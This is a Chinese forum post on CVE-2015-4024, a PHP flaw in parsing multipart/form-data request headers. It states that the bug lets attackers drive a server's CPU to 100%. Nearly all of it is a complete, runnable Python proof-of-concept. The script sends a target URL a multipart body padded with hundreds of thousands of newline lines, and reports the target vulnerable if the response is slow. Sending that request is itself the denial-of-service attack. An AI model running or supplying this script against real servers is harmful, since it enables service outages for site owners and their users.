CVE:2015-4024
漏洞的原理是：当PHP解析multipart / form-data的HTTP请求的body parthead的时候，会重复进行字符串的拷贝。
利用该漏洞构造poc发起链接，很容易导致目标主机cpu的占用率100%，涉及PhP所有版本！
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POC：
[Java] 纯文本查看 复制代码 '''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: [email]liusscs@163.com[/email]
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
def http_proxy(proxy_url):
proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
#end http_proxy
def check_php_multipartform_dos(url,post_body,headers):
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key,headers[key])
starttime = datetime.datetime.now();
fd = urllib2.urlopen(req,post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime=(endtime - starttime).seconds
if(usetime > 5):
result = url+" is vulnerable";
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result,usetime]
#end
def main():
#http_proxy("http://127.0.0.1:8089")
parser = OptionParser()
parser.add_option("-t", "--target", action="store",
dest="target",
default=False,
type="string",
help="test target")
(options, args) = parser.parse_args()
if(options.target):
target = options.target
else:
return;
Num=350000
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
'Accept-Encoding':'gzip, deflate',
'User-Agent':'Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36'}
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
payload=""
for i in range(0,Num):
payload = payload + "a\n"
body = body + payload;
body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
print "starting...";
respond=check_php_multipartform_dos(target,body,headers)
print "Result : "
print respond[0]
print "Respond time : "+str(respond[1]) + " seconds";
if __name__=="__main__":
main() | 
发表于 2015-5-19 21:51:18
发表于 2015-5-21 17:22:23
